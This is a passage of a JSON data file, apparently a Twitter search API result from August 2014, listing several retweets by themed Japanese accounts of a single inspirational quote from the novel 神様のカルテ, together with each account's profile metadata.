"一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるのかもしれません。 by神様のカルテ、夏川草介", + "source": "幸せの☆お守り", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2745121514, + "id_str": "2745121514", + "name": "幸せの☆お守り", + "screen_name": "shiawaseomamori", + "location": "", + "description": "自分が幸せだと周りも幸せにできる! \r\nそんな人生を精一杯生きるために必要な言葉をお届けします♪ \r\nいいなと思ったら RT & 相互フォローで、お願いします。", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 213, + "friends_count": 991, + "listed_count": 0, + "created_at": "Tue Aug 19 14:45:19 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 349, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2745121514/1408459730", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [ + { + "screen_name": "shiawaseomamori", + "name": "幸せの☆お守り", + "id": 2745121514, + "id_str": "2745121514", + "indices": [ + 3, + 19 + ] + } + ] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:29:08 +0000 2014", + "id": 505874897633951740, + "id_str": "505874897633951745", + "text": "RT @shiawaseomamori: 一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるの…", + "source": "LOVE ♥ ラブライブ", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2745389137, + "id_str": "2745389137", + "name": "LOVE ♥ ラブライブ", + "screen_name": "love_live55", + "location": "", + "description": "とにかく「ラブライブが好きで~す♥」 \r\nラブライブファンには、たまらない内容ばかり集めています♪ \r\n気に入ったら RT & 相互フォローお願いします。", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 251, + "friends_count": 969, + "listed_count": 0, + "created_at": "Tue Aug 19 15:45:40 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 348, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/501757482448850944/x2uPpqRx_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/501757482448850944/x2uPpqRx_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2745389137/1408463342", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweeted_status": { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:16:06 +0000 2014", + "id": 505871615125491700, + "id_str": "505871615125491712", + "text": "一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるのかもしれません。 by神様のカルテ、夏川草介", + "source": "幸せの☆お守り", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2745121514, + "id_str": "2745121514", + "name": "幸せの☆お守り", + "screen_name": "shiawaseomamori", + "location": "", + "description": "自分が幸せだと周りも幸せにできる! \r\nそんな人生を精一杯生きるために必要な言葉をお届けします♪ \r\nいいなと思ったら RT & 相互フォローで、お願いします。", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 213, + "friends_count": 991, + "listed_count": 0, + "created_at": "Tue Aug 19 14:45:19 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 349, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2745121514/1408459730", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [ + { + "screen_name": "shiawaseomamori", + "name": "幸せの☆お守り", + "id": 2745121514, + "id_str": "2745121514", + "indices": [ + 3, + 19 + ] + } + ] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:29:08 +0000 2014", + "id": 505874896795086850, + "id_str": "505874896795086848", + "text": "RT @shiawaseomamori: 一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるの…", + "source": "恋する♡ドレスシリーズ", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2726346560, + "id_str": "2726346560", + "name": "恋する♡ドレスシリーズ", + "screen_name": "koisurudoress", + "location": "", + "description": "どれもこれも、見ているだけで欲しくなっちゃう♪ \r\n特別な日に着る素敵なドレスを見つけたいです。 \r\n着てみたいと思ったら RT & フォローお願いします。", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 314, + "friends_count": 1900, + "listed_count": 0, + "created_at": "Tue Aug 12 14:10:35 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 471, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/499199619465621504/fg7sVusT_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/499199619465621504/fg7sVusT_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2726346560/1407853688", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweeted_status": { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:16:06 +0000 2014", + "id": 505871615125491700, + "id_str": "505871615125491712", + "text": "一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるのかもしれません。 by神様のカルテ、夏川草介", + "source": "幸せの☆お守り", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2745121514, + "id_str": "2745121514", + "name": "幸せの☆お守り", + "screen_name": "shiawaseomamori", + "location": "", + "description": "自分が幸せだと周りも幸せにできる! \r\nそんな人生を精一杯生きるために必要な言葉をお届けします♪ \r\nいいなと思ったら RT & 相互フォローで、お願いします。", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 213, + "friends_count": 991, + "listed_count": 0, + "created_at": "Tue Aug 19 14:45:19 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 349, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2745121514/1408459730", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [ + { + "screen_name": "shiawaseomamori", + "name": "幸せの☆お守り", + "id": 2745121514, + "id_str": "2745121514", + "indices": [ + 3, + 19 + ] + } + ] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:29:08 +0000 2014", + "id": 505874895964626940, + "id_str": "505874895964626944", + "text": "RT @shiawaseomamori: 一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるの…", + "source": "胸キュン♥動物図鑑", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2759192574, + "id_str": "2759192574", + "name": "胸キュン♥動物図鑑", + "screen_name": "doubutuzukan", + "location": "", + "description": "ふとした表情に思わずキュンとしてしまう♪ \r\nそんな愛しの動物たちの写真を見つけます。 \r\n気に入ったら RT & フォローを、お願いします。", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 80, + "friends_count": 959, + "listed_count": 1, + "created_at": "Sat Aug 23 15:47:36 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 219, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/503211559552688128/Ej_bixna_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/503211559552688128/Ej_bixna_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2759192574/1408809101", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweeted_status": { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:16:06 +0000 2014", + "id": 505871615125491700, + "id_str": "505871615125491712", + "text": "一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるのかもしれません。 by神様のカルテ、夏川草介", + "source": "幸せの☆お守り", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2745121514, + "id_str": "2745121514", + "name": "幸せの☆お守り", + "screen_name": "shiawaseomamori", + "location": "", + "description": "自分が幸せだと周りも幸せにできる! \r\nそんな人生を精一杯生きるために必要な言葉をお届けします♪ \r\nいいなと思ったら RT & 相互フォローで、お願いします。", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 213, + "friends_count": 991, + "listed_count": 0, + "created_at": "Tue Aug 19 14:45:19 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 349, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2745121514/1408459730", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [ + { + "screen_name": "shiawaseomamori", + "name": "幸せの☆お守り", + "id": 2745121514, + "id_str": "2745121514", + "indices": [ + 3, + 19 + ] + } + ] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:29:08 +0000 2014", + "id": 505874895079608300, + "id_str": "505874895079608320", + "text": "RT @shiawaseomamori: 一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるの…", + "source": "ディズニー★パラダイス", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2719228561, + "id_str": "2719228561", + "name": "ディズニー★パラダイス", + "screen_name": "disney_para", + "location": "", + "description": "ディズニーのかわいい画像、ニュース情報、あるあるなどをお届けします♪\r\nディズニーファンは RT & フォローもお願いします♪", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 331, + "friends_count": 1867, + "listed_count": 0, + "created_at": "Sat Aug 09 12:01:32 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 540, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/498076922488696832/Ti2AEuOT_normal.png", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/498076922488696832/Ti2AEuOT_normal.png", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2719228561/1407585841", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweeted_status": { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:16:06 +0000 2014", + "id": 505871615125491700, + "id_str": "505871615125491712", + "text": "一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるのかもしれません。 by神様のカルテ、夏川草介", + "source": "幸せの☆お守り", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2745121514, + "id_str": "2745121514", + "name": "幸せの☆お守り", + "screen_name": "shiawaseomamori", + "location": "", + "description": "自分が幸せだと周りも幸せにできる! \r\nそんな人生を精一杯生きるために必要な言葉をお届けします♪ \r\nいいなと思ったら RT & 相互フォローで、お願いします。", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 213, + "friends_count": 991, + "listed_count": 0, + "created_at": "Tue Aug 19 14:45:19 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 349, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2745121514/1408459730", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [ + { + "screen_name": "shiawaseomamori", + "name": "幸せの☆お守り", + "id": 2745121514, + "id_str": "2745121514", + "indices": [ + 3, + 19 + ] + } + ] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:29:08 +0000 2014", + "id": 505874894135898100, + "id_str": "505874894135898112", + "text": "RT @shiawaseomamori: 一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるの…", + "source": "生々しい風刺画", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2714772727, + "id_str": "2714772727", + "name": "生々しい風刺画", + "screen_name": "nama_fuushi", + "location": "", + "description": "深い意味が込められた「生々しい風刺画」を見つけます。\r\n考えさせられたら RT & 相互フォローでみなさん、お願いします", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 298, + "friends_count": 1902, + "listed_count": 1, + "created_at": "Thu Aug 07 15:04:45 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 595, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/497398363352875011/tS-5FPJB_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/497398363352875011/tS-5FPJB_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2714772727/1407424091", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweeted_status": { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:16:06 +0000 2014", + "id": 505871615125491700, + "id_str": "505871615125491712", + "text": "一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるのかもしれません。 by神様のカルテ、夏川草介", + "source": "幸せの☆お守り", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2745121514, + "id_str": "2745121514", + "name": "幸せの☆お守り", + "screen_name": "shiawaseomamori", + "location": "", + "description": "自分が幸せだと周りも幸せにできる! \r\nそんな人生を精一杯生きるために必要な言葉をお届けします♪ \r\nいいなと思ったら RT & 相互フォローで、お願いします。", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 213, + "friends_count": 991, + "listed_count": 0, + "created_at": "Tue Aug 19 14:45:19 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 349, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2745121514/1408459730", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [ + { + "screen_name": "shiawaseomamori", + "name": "幸せの☆お守り", + "id": 2745121514, + "id_str": "2745121514", + "indices": [ + 3, + 19 + ] + } + ] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:29:07 +0000 2014", + "id": 505874893347377150, + "id_str": "505874893347377152", + "text": "RT @shiawaseomamori: 一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるの…", + "source": "嵐★大好きっ娘", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2721682579, + "id_str": "2721682579", + "name": "嵐★大好きっ娘", + "screen_name": "arashi_suki1", + "location": "", + "description": "なんだかんだ言って、やっぱり嵐が好きなんです♪\r\nいろいろ集めたいので、嵐好きな人に見てほしいです。\r\n気に入ったら RT & 相互フォローお願いします。", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 794, + "friends_count": 1913, + "listed_count": 2, + "created_at": "Sun Aug 10 13:43:56 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 504, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/498465364733198336/RO6wupdc_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/498465364733198336/RO6wupdc_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2721682579/1407678436", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweeted_status": { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:16:06 +0000 2014", + "id": 505871615125491700, + "id_str": "505871615125491712", + "text": "一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるのかもしれません。 by神様のカルテ、夏川草介", + "source": "幸せの☆お守り", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2745121514, + "id_str": "2745121514", + "name": "幸せの☆お守り", + "screen_name": "shiawaseomamori", + "location": "", + "description": "自分が幸せだと周りも幸せにできる! \r\nそんな人生を精一杯生きるために必要な言葉をお届けします♪ \r\nいいなと思ったら RT & 相互フォローで、お願いします。", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 213, + "friends_count": 991, + "listed_count": 0, + "created_at": "Tue Aug 19 14:45:19 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + 